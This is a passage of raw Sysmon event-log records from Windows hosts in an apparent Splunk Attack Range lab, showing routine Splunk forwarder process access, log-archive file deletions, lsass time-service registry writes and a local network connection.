Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014571Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7040-613B-B104-00000000F101}1996C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014570Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014569Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014568Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014567Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014566Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014565Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014564Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014563Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014562Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014561Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7040-613B-B104-00000000F101}1996C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000014560Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.230{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7040-613B-B104-00000000F101}1996C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000014559Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:32.231{625C326B-7040-613B-B104-00000000F101}1996C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014590Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:33.933{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CFE4C02C02E75ADA5E43FBA5252E0631,SHA256=0A12B7128B636082C55910FCDBEFC751EA9BE6B0049FBABC807B60E6C3B7AEE8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014589Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:33.917{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBE2D4BC73C3AFFA69083E19A1CE89B9,SHA256=DAE1436D92121C38B817100F02C109838FBC89B18AD042617420A42C904EC8BE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:30.406{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59348-false10.0.1.12-8000- 23542300x800000000000000046847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:33.451{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBAF13B238DD03BDC2EFBB5E07641D44,SHA256=F7C26FAAE9103FBB8B193E1F9CF7AF5E9AFCA110D0F7314F30F5F92EBCD7E75C,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000046846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000046845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x00295387) 13241300x800000000000000046844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64a-0x8b9258cd) 13241300x800000000000000046843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a652-0xed56c0cd) 13241300x800000000000000046842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65b-0x4f1b28cd) 13241300x800000000000000046841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeConfidenceDWORD (0x00000006) 13241300x800000000000000046840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\RunTime\SecureTimeTickCountQWORD (0x00000000-0x00295387) 13241300x800000000000000046839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeLowQWORD (0x01d7a64a-0x8b9258cd) 13241300x800000000000000046838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeEstimatedQWORD (0x01d7a652-0xed56c0cd) 13241300x800000000000000046837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:48:33.326{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d7a65b-0x4f1b28cd) 23542300x800000000000000014605Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.933{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B15C30140603CB4F4ECD824808D23AF4,SHA256=58B215EA21B4C00492B8BBCEE8E5EA33187A69B9779687309F8163C2B13C07BF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:34.685{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56E8B379DAC53B138AA581C7465F1249,SHA256=4CAB90A912518BC309969D278E91602A0BEB451C606C1E32AA0BB4A9508F477D,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000014604Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.339{625C326B-7042-613B-B304-00000000F101}39002320C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014603Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7042-613B-B304-00000000F101}3900C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014602Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014601Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014600Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014599Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014598Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:34.091{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000014597Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 